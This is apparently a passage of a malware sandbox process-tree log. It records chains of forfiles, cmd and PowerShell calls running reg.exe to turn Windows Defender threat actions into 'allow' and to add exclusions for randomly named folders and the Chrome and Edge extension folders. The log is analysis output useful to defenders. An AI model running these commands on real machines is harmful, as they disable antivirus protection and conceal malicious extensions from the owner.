                                                                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                PID:6000
                                                                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                    PID:6952
                                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:6924
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                      PID:6476
                                                                                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                          PID:5740
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:5268
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                            PID:5648
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                              powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                              PID:1128
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                                "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                  PID:5492
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:1724
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                              "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:6908
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                    PID:6160
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:1700
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:6812
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:5928
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:2964
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:336
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:6276
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:4308
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:6916
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:4184
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:5264
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:5180
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:3848
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:5012
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:6324
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:6052
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:2548
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:4540
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:3404
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:6448
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:3188
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:3680
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:6932
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:2484
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:2552
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:3164
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:3160
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:5692
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ecOJmsgAHWlsC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ecOJmsgAHWlsC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epoBtGYzqLvU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epoBtGYzqLvU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qIYKRzUEasUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qIYKRzUEasUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zgoZGMcaU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zgoZGMcaU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\pICeQFkDCDDquYVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\pICeQFkDCDDquYVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nlcUipsDcFbdntMB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nlcUipsDcFbdntMB\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:5880
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:6616
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                PID:4344
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:7068
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:1892
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:3532
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:1136
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:6772
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:6328
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:5992
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:2548
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:5220
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\pICeQFkDCDDquYVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:4516
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\pICeQFkDCDDquYVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:2860
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:5644
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                        PID:5376
